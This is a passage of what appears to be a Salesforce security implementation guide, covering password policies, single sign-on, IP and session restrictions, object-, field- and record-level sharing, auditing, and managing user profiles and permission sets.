Rules..................................................................................................................................49 Creating Opportunity Sharing Rules...........................................................................................................................50 Creating Case Sharing Rules.......................................................................................................................................51 Creating Campaign Sharing Rules..............................................................................................................................51 Creating Custom Object Sharing Rules......................................................................................................................52 Creating User Sharing Rules.......................................................................................................................................53 Sharing Rule Categories..............................................................................................................................................54 Editing Lead Sharing Rules........................................................................................................................................55 Editing Account Sharing Rules...................................................................................................................................56 Editing Account Territory Sharing Rules....................................................................................................................57 Editing Contact Sharing Rules....................................................................................................................................57 Editing Opportunity Sharing Rules.............................................................................................................................58 ii Table of Contents
  • 5. Editing Case Sharing Rules.........................................................................................................................................58 Editing Campaign Sharing Rules................................................................................................................................59 Editing Custom Object Sharing Rules........................................................................................................................60 Editing User Sharing Rules.........................................................................................................................................60 Sharing Rule Considerations.......................................................................................................................................61 Recalculating Sharing Rules........................................................................................................................................62 Parallel Recalculation...................................................................................................................................................62 User Sharing Overview............................................................................................................................................................63 Understanding User Sharing.......................................................................................................................................63 Setting the Organization-Wide Sharing Defaults for User Records...........................................................................64 Sharing Users...............................................................................................................................................................65 Restoring User Visibility Defaults...............................................................................................................................65 Overview of Roles....................................................................................................................................................................66 About Groups..........................................................................................................................................................................67 Creating and Editing Groups..................................................................................................................................................68 Group Member Types.............................................................................................................................................................69 Viewing All Users in a Group.................................................................................................................................................70 Granting Access to Records....................................................................................................................................................71 Chapter 3: Configuring Salesforce Security Features............................................................................73 Setting Password Policies........................................................................................................................................................73 Expiring Passwords.................................................................................................................................................................75 Restricting Login IP Ranges for Your Organization...............................................................................................................76 Setting Session Security...........................................................................................................................................................77 Chapter 4: Enabling Single Sign-On...................................................................................................81 Chapter 5: Monitoring Your Organization's Security...........................................................................84 Monitoring Login History......................................................................................................................................................84 Tracking Field History............................................................................................................................................................85 Tracking Field History for Standard Objects..............................................................................................................86 Tracking Field History for Custom Objects................................................................................................................87 Methods for Archiving Field History..........................................................................................................................87 Disabling Field History Tracking................................................................................................................................88 Monitoring Setup Changes.....................................................................................................................................................88 Chapter 6: Security Tips for Apex and Visualforce Development...........................................................92 Cross-Site Scripting (XSS)......................................................................................................................................................92 Formula Tags .........................................................................................................................................................................94 Cross-Site Request Forgery (CSRF).......................................................................................................................................95 SOQL Injection......................................................................................................................................................................96 Data Access Control................................................................................................................................................................97 Index.................................................................................................................................................99 iii Table of Contents
  • 7. Chapter 1 Security Overview Salesforce is built with security as the foundation for the entire service. This foundation includes both protection for your data and applications, and the ability to implement your own security scheme to reflect the structure and needs of your organization. The security features of Salesforce provide both strength and flexibility. However, protecting your data is a joint responsibility between you and salesforce.com. The security features in Salesforce enable you to empower your users to do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. Implement security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access from outside your company, and you should also safeguard it from inappropriate usage by your users. See the following topics to get more information about the various security components in Salesforce: • Security Infrastructure • Trust and Salesforce.com • User Security Overview • About Passwords • User Authentication • My Domain • Identity Providers • Network-Based Security • CAPTCHA Security for Data Exports • Session Security • Securing Data Access • Auditing Security Infrastructure One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent requests are associated with your organization, using this identifier. Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your organization. In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent interference or access from outside intruders. 1
  • 8. Trust and Salesforce.com Trust starts with transparency. That’s why salesforce.com displays real-time information on system performance and security on the trust site at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on best security practices for your organization. The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular, phishing and malware are Internet scams on the rise. Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com. Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware. What Salesforce.com is Doing Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices and technologies in this area. Recent and ongoing actions include: • Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected. • Collaborating with leading security vendors and experts on specific threats. • Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection). • Reinforcing security education and tightening access policies within salesforce.com. • Evaluating and developing new technologies both for our customers and for deployment within our infrastructure. What Salesforce.com Recommends You Do Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So, in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance security: • Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting Session Security on page 77 and Restricting Login IP Ranges for Your Organization on page 76. • Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts. • Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection. • Designate a security contact within your organization so that salesforce.com can more effectively communicate with you. Contact your salesforce.com representative with this information. • Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network. Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident or vulnerability to salesforce.com, please contact [email protected]. Describe the issue in detail, and the team will respond promptly. User Security Overview Salesforce provides each user in your organization with a unique username and password that must be entered each time a user logs in. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specific session. The session cookie does not include either the username or password of the user. Salesforce does not use cookies to 2 Trust and Salesforce.comSecurity Overview
  • 9. store other confidential user and session information, but instead implements more advanced security methods based on dynamic data and encoded session IDs. About Passwords User Permissions Needed “Manage Users”To set password policies: “Reset User Passwords and Unlock Users”To reset user passwords and unlock users: There are several settings you can configure to ensure that your users’ passwords are strong and secure: • Password policies—set various password and login policies, such as specifying an amount of time before all users’ passwords expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 73. • User password expiration—expire the passwords for all the users in your organization, except for users with “Password Never Expires” permission. See Expiring Passwords on page 75. • User password resets—reset the password for specified users. See “Resetting Passwords” in the Salesforce Help. • Login attempts and lockout periods—if a user is locked out of Salesforce due to too many failed login attempts, you can unlock them. See “Editing Users” in the Salesforce Help. Password Requirements A password cannot contain your User Name and cannot match your first or last name. For all editions, a new organization has the following default password requirements: • A password must contain at least eight characters. • A password must contain at least one alphabetic character and one number. • The answer to the question posed if you forget your password cannot contain your password. • The last three passwords are remembered and cannot be reused when you are changing your password. The password policies, including these defaults, can be updated for all editions except for Personal Edition. User Authentication Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify and standardize their user authentication. You have two options to implement single sign-on—federated authentication using Security Assertion Markup Language (SAML) or delegated authentication. • Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client application. Federated authentication using SAML is enabled by default for your organization. • Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization. The primary reasons for using delegated authentication include: ◊ Using a stronger type of user authentication, such as integration with a secure identity provider 3 About PasswordsSecurity Overview
  • 10. ◊ Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind your corporate firewall ◊ Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks My Domain Using My Domain, you can define a custom Salesforce domain name. A custom domain name helps you better manage login and authentication for your organization in several key ways. • Highlight your business identity with your unique domain URL. • Brand your login screen and customize right-frame content. • Block or redirect page requests that don’t use the new domain name. • Access increased support for single sign-on. • Set custom login policy and determine how users are authenticated. • Let users select an alternate identity provider from the login page. For more information, see “My Domain Overview” in the Salesforce online help. Identity Providers An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers, so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users: instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as tabs to your Salesforce organization, which means users won’t have to switch between programs. For more information, see “About Identity Providers and Service Providers” in the Salesforce online help. Network-Based Security User authentication determines who can log in, while network-based security limits where they can log in from and when. Use network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based security can also make it more difficult for an attacker to use stolen credentials. To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access and “phishing” attacks. To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see Restricting Login IP Ranges for Your Organization on page 76. To restrict login hours by profile, or to restrict logins by IP addresses for specific profiles, see Setting Login Restrictions on page 36. CAPTCHA Security for Data Exports By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce. This simple, text-entry test helps prevent malicious programs from accessing your organization’s data, as well as reducing the risk of automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on an overlay into the overlay’s text box field, and click a Submit button. Salesforce uses CAPTCHA technology provided by 4 My DomainSecurity Overview
  • 11. reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay. CAPTCHA stands for “Completely Automated Public Turing test to tell Computers and Humans Apart.” Session Security After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee tries to use another employee’s session. You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged out. Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name > Logout. By default, Salesforce uses SSL (Secure Sockets Layer) and requires secure connections (HTTPS) for all communication. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce, apart from Force.com sites, which can still be accessed using HTTP. If you ask salesforce.com to disable this setting and change the URL from https:// to http://, you can still access the application. However, you should require all sessions to use SSL for added security. See Setting Session Security on page 77. You can restrict access to certain types of resources based on the level of security associated with the authentication (login) method for the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the session security level and define policies so specified resources are only available to users with a High Assurance level. For details, see Session-level Security on page 79. Securing Data Access Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your users. Note: Who Sees What: Overview Watch a demo on controlling access to and visibility of your data. To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing design that allows you to expose different data sets to different sets of users. • To specify the objects that users can access, you can assign permission sets and profiles. • To specify the fields that users can access, you can use field-level security. • To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define a role hierarchy, and create sharing rules. Tip: When implementing security and sharing rules for your organization, make a table of the various types of users in your organization. In the table, specify the level of access to data that each type of user needs for each object and for fields and records within the object. You can refer to this table as you set up your security model. The following describes these security and sharing settings: 5 Session SecuritySecurity Overview
  • 12. Object-Level Security (Permission Sets and Profiles) Object-level security—or object permissions—provide the bluntest way to control data. Using object permissions you can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or opportunity. Object permissions let you hide whole tabs and objects from particular users, so that they don’t even know that type of data exists. You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions that determine what a user can do in the application, similar to a group in a Windows network, where all of the members of the group have the same folder permissions and access to the same software. Profiles are typically defined by a user’s job function (for example, system administrator or sales representative). A profile can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant additional permissions and access settings to users. It’s easy to manage users’ permissions and access with permission sets, because you can assign multiple permission sets to a single user. Field-Level Security (Permission Sets and Profiles) In some cases, you may want users to have access to an object, but limit their access to individual fields in that object. Field-level security—or field permissions—control whether a user can see, edit, and delete the value for a particular field on an object. They let you protect sensitive fields without having to hide the whole object from users. Field permissions are also controlled in permission sets and profiles. Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a user can’t access a particular field, use field permissions. No other settings provide the same level of protection for a field. Note: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field values protected by field-level security, the associated records are returned in the search results without the protected fields and their values. Record-Level Security (Sharing) After setting object- and field-level access permissions, you may want to configure access settings for the actual records themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records shared with them. To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules. • Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to each others’ records. You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the other record-level security and sharing tools to selectively give access to other users. For example, let’s say users have object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records, but can’t edit any unless they own the record or are granted additional permissions. • Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies don’t have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of data access that a user or group of users needs. 6 Securing Data AccessSecurity Overview
  • 13. You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example, you could create a territory hierarchy in which a user with the “North America” role has access to different data than users with the “Canada” and “United States” roles. Note: Although it’s easy to confuse permission sets and profiles with roles, they control two very different things. Permission sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access through role hierarchy and sharing rules. • Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users, to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are only used to give additional users access to records—they can’t be stricter than your organization-wide default settings. • Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isn’t automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them. • Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to share a custom object, only users with the “Modify All Data” permission can add or change the sharing on the custom object's record, and the sharing access is maintained across record owner changes. Auditing Auditing features do not secure your organization by themselves, but these features provide information about usage of the system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends. Auditing features include: Record Modification Fields All objects include fields to store the name of the user who created the record and who last modified the record. This provides some basic auditing information. Login History You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring Login History on page 84. Field History Tracking You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See Tracking Field History on page 85. Setup Audit Trail Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration. See Monitoring Setup Changes on page 88. 7 AuditingSecurity Overview
  • 14. Chapter 2 Securing and Sharing Data Review the following sections for detailed instructions and tips on securing access to your data in Salesforce. Overview of User Permissions and Access User permissions and access settings specify what users can do within an organization. For example, permissions determine a user's ability to edit an object record, view the Setup menu, empty the organizational Recycle Bin, or reset a user's password. Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in. Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but can also have multiple permission sets. When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings for specific groups of users, then use permission sets to grant additional permissions. Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more logical groupings of users, regardless of their primary job function. For example, you can create a permission set that gives read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their profiles. The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some profile settings aren't included in permission sets. In Permission Sets?In Profiles?Permission or Setting Type Assigned apps Tab settings Record type assignments Page layout assignments Object permissions Field permissions User permissions (app and system) Apex class access Visualforce page access Service provider access (if Salesforce is enabled as an identity provider) 8
  • 15. In Permission Sets?In Profiles?Permission or Setting Type Desktop client access Login hours Login IP ranges Revoking Permissions and Access You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile or permission set is honored. For example, if “Transfer Record” isn't enabled in Jane Smith's profile, but is enabled in two of her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove all instances of the permission from the user. You can do this with the following actions—each has possible consequences. ConsequenceAction The permission or access setting is disabled for all other users assigned to the profile or permission sets. Disable a permission or remove an access setting in the profile and any permission sets that are assigned to the user. The user may lose other permissions or access settings associated with the profile or permission sets. If a permission or access setting is enabled in the user's profile, assign a different profile to the user. AND If the permission or access setting is enabled in any permission sets that are assigned to the user, remove the permission set assignments from the user. To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that represents the largest number of users possible, then create permission sets that layer additional access. User Profiles Overview A profile contains user permissions and access settings that control what users can do within their organization. Note: Who Sees What: Object Access Watch how you can grant users access to objects using profiles. Depending on which profile user interface is enabled in your organization, you can: • View and edit profiles in the enhanced profile user interface • View and edit profiles in the original profile user interface You can also use a list view to edit multiple profiles. Profiles control: • Which standard and custom apps users can view 9 Revoking Permissions and AccessSecuring and Sharing Data
  • 16. • Which tabs users can view • Which record types are available to users • Which page layouts users see • Object permissions that allow users to create, read, edit, and delete records • Which fields within objects users can view and edit • Permissions that allow users to manage the system and apps within it • Which Apex classes and Visualforce pages users can access • Which desktop clients users can access • The hours during which and IP addresses from which users can log in • Which service providers users can access (if Salesforce is enabled as an identity provider) In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, Performance, and Developer Edition organizations, you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain settings can be changed. Each standard or custom profile belongs to exactly one user license type. Viewing Profile Lists User Permissions Needed “View Setup and Configuration”To view profiles, and print profile lists: “Manage Users”To delete profile list views: “Manage Users” AND “Customize Application” To delete custom profiles: A profile contains user permissions and access settings that control what users can do within their organization. To view the profiles in your organization, from Setup, click Manage Users > Profiles. Viewing Enhanced Profile Lists If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage, and print profile lists. • Show a filtered list of profiles by selecting a view from the drop-down list. • Delete a view by selecting it from the drop-down list and clicking Delete. • Create a list view or edit an existing view. • Create a profile. • Print the list view by clicking . • Refresh the list view after creating or editing a view by clicking . • Edit permissions directly in the list view. • View or edit a profile by clicking its name. • Delete a custom profile by clicking Del next to its name. 10 Viewing Profile ListsSecuring and Sharing Data
  • 17. Viewing the Basic Profile List • Create a profile. • View or edit a profile by clicking its name. • Delete a custom profile by clicking Del next to its name. Editing Multiple Profiles with Profile List Views User Permissions Needed “Manage Users” AND “Customize Application” To edit multiple profiles from the list view: If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages. Editable cells display a pencil icon ( ) when you hover over the cell, while non-editable cells display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the setting is not actually editable. Warning: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making mass changes may have a widespread effect on users in your organization. To change permissions in one or more profiles: 1. Select or create a list view that includes the profiles and permissions you want to edit. 2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages, Salesforce remembers which profiles are selected. 3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected profiles. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if “Customize Application” and “View Setup and Configuration” are disabled and you enable “Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the dialog box lists the affected permissions. 5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected). 6. Click Save. Note: • For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions. • If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn't have “Modify All Data,” the profile won't change. If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. Note: To view the error console, you must have pop-up blockers disabled for the Salesforce domain. 11 Editing Multiple Profiles with Profile List ViewsSecuring and Sharing Data
  • 18. Any changes you make are recorded in the setup audit trail. Cloning Profiles Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions User Permissions Needed “Manage Users”To create profiles: Tip: If you’re cloning a profile to enable certain permissions or access settings for one or more users, you might be able to enable those permissions or access settings using permission sets. For more information, see Permission Sets Overview. 1. From Setup, click Manage Users > Profiles. 2. In the Profiles list page, do one of the following: • Click New Profile, then select an existing profile that’s similar to the one you want to create. • If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the one you want to create. • Click the name of a profile that’s similar to the one you want to create, then in the profile page, click Clone. A new profile uses the same user license as the profile it was cloned from. 3. Enter a profile name. 4. Click Save. Viewing a Profile's Assigned Users User Permissions Needed “View Setup and Configuration”To view users that are assigned to a profile: “Manage Users”To create and edit users: To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can: • Create one or multiple users • Reset passwords for selected users • Edit a user • View a user's detail page by clicking the name, alias, or username • View or edit a profile by clicking the profile name • If Google Apps™ is enabled in your organization, export users to Google and create Google Apps accounts by clicking Export to Google Apps Enhanced Profile User Interface Overview The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate, search, and modify settings for a profile. 12 Cloning ProfilesSecuring and Sharing Data
  • 19. You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one profile user interface at a time. Note: You can't use the enhanced profile user interface if: • You use Microsoft® Internet Explorer® 6 or earlier to manage your profiles (unless you've installed the Google Chrome Frame™ plug-in for Internet Explorer). • Your organization uses category groups on guest profiles used for sites. • Your organization delegates partner portal administration to portal users. Working in the Enhanced Profile User Interface Overview Page User Permissions Needed “View Setup and Configuration”To view profiles: “Manage Users”To delete profiles and edit profile properties: In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions for a single profile. To open the profile overview page, from Setup, click Manage Users > Profiles and click the profile you want to view. From the profile overview page, you can: • Search for an object, permission, or setting • Clone the profile • If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete • Change the profile name or description by clicking Edit Properties • View a list of users who are assigned to the profile • Click any of the links on the page to view or edit permissions and settings. ◊ Assigned Apps ◊ Object Settings (tab settings, record types and page layout settings, object permissions, and field permissions) ◊ App Permissions ◊ Apex Class Access ◊ Visualforce Page Access ◊ Data Category Visibility (if you've enabled data categories) ◊ System Permissions ◊ Desktop Client Access ◊ Login Hours ◊ Login IP Ranges ◊ Service Providers (if Salesforce is enabled as an identity provider) App and System Settings in the Enhanced Profile User Interface In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile. Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to administer and use app and system resources. 13 Working in the Enhanced Profile User Interface Overview Page Securing and Sharing Data
  • 20. App Settings Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to these pages: • Assigned Apps • Object Settings, which include: ◊ Tab settings ◊ Record types and page layout settings ◊ Object permissions ◊ Field permissions • App Permissions • Apex Class Access • Visualforce Page Access Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the “Import Leads” permission is under the Sales category, a user can import leads even while in the Call Center app. System Settings Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader. In the enhanced profile user interface, the System section of the overview page contains links to these pages: • System Permissions • Desktop Client Access • Login Hours • Login IP Ranges • Service Providers (if Salesforce is enabled as an identity provider) Searching in the Enhanced Profile User Interface User Permissions Needed “View Setup and Configuration”To find permissions and settings in a profile: 14 Searching in the Enhanced Profile User InterfaceSecuring and Sharing Data
  • 21. On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: ExampleItem Type sales in the Find Settings box, then select Sales from the list.Assigned apps Type an existing object’s name. For example, let’s say you have an Albums custom object, type albu, then select Albums. Objects Type the name of the object that contains the field. For example, let’s say your Albums object contains a Description field. To find the Description Fields field for albums, type albu, select Albums, and scroll down to Description under Field Permissions. Type rep, then select Reports.Tabs Type apex, then select Apex Class Access.Apex class access settings Type VISU, then select Visualforce Page Access.Visualforce page access settings Type api, then select API Enabled.App and system permissions Type des, then select Desktop Client Access.Desktop client access settings Type log, then select Login Hours or Login IP Ranges. Or type ip r, then select Login IP Ranges. Login hours and login IP ranges Type serv, then select Service Providers.Service providers (available only if Salesforce is enabled as an identity provider) If no results appear in a search: • The permission, object, tab, or setting you're searching for may not be available in the current organization. • The item you're searching for may not be available for the user license that's associated with the current profile. For example, a profile with the High Volume Customer Portal license doesn't include the “Modify All Data” permission. • Be sure your search terms have at least three consecutive characters that match the name of the item you want to find. • Be sure the search term is spelled correctly. Working with Profiles in the Original Profile Interface To view a profile, from Setup, click Manage Users > Profiles, then select the profile you want. On the profile detail page, you can: • Edit the profile • Create a profile based on this profile • For custom profiles only, click Delete to delete the profile • View the users who are assigned to this profile 15 Working with Profiles in the Original Profile InterfaceSecuring and Sharing Data
  • 22. Editing Profiles in the Original Profile Interface User Permissions Needed “Manage Users” AND “Customize Application” To edit profiles: You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name, description, object permissions, field permissions, and user permissions. 1. From Setup, click Manage Users > Profiles. 2. Select the profile you want to edit. 3. On the profile detail page, click Edit to change any of the following settings: • For custom profiles only, the name and description • App visibility settings • Connected apps accessible to this profile • Tab visibility settings • For custom profiles only, administrative and general permissions • For custom profiles only, object permissions Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For example, enabling “View All Data” automatically enables “Read” for all objects. Likewise, enabling “Transfer Leads” automatically enables “Read” and “Create” on leads. Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple profiles from the list view. • Desktop client access settings You can also view or edit the following settings from the profile detail page: Procedure to View or EditSetting Under the Console Settings section, click Edit.Console layouts for all profiles Under the Page Layouts section, click ViewAssignment next to an object name. Page layouts Under the Field-Level Security section, click View next to an object name. Access to fields in each object Under the Record Type Settings section, click Edit next to a tab name. The Edit link is available only if record types exist for the object. Record types Under the Login Hours section, click Edit.Login hours Under the Login IP Ranges section, click New, or click Edit next to an existing IP range. Login IP address ranges 16 Editing Profiles in the Original Profile InterfaceSecuring and Sharing Data
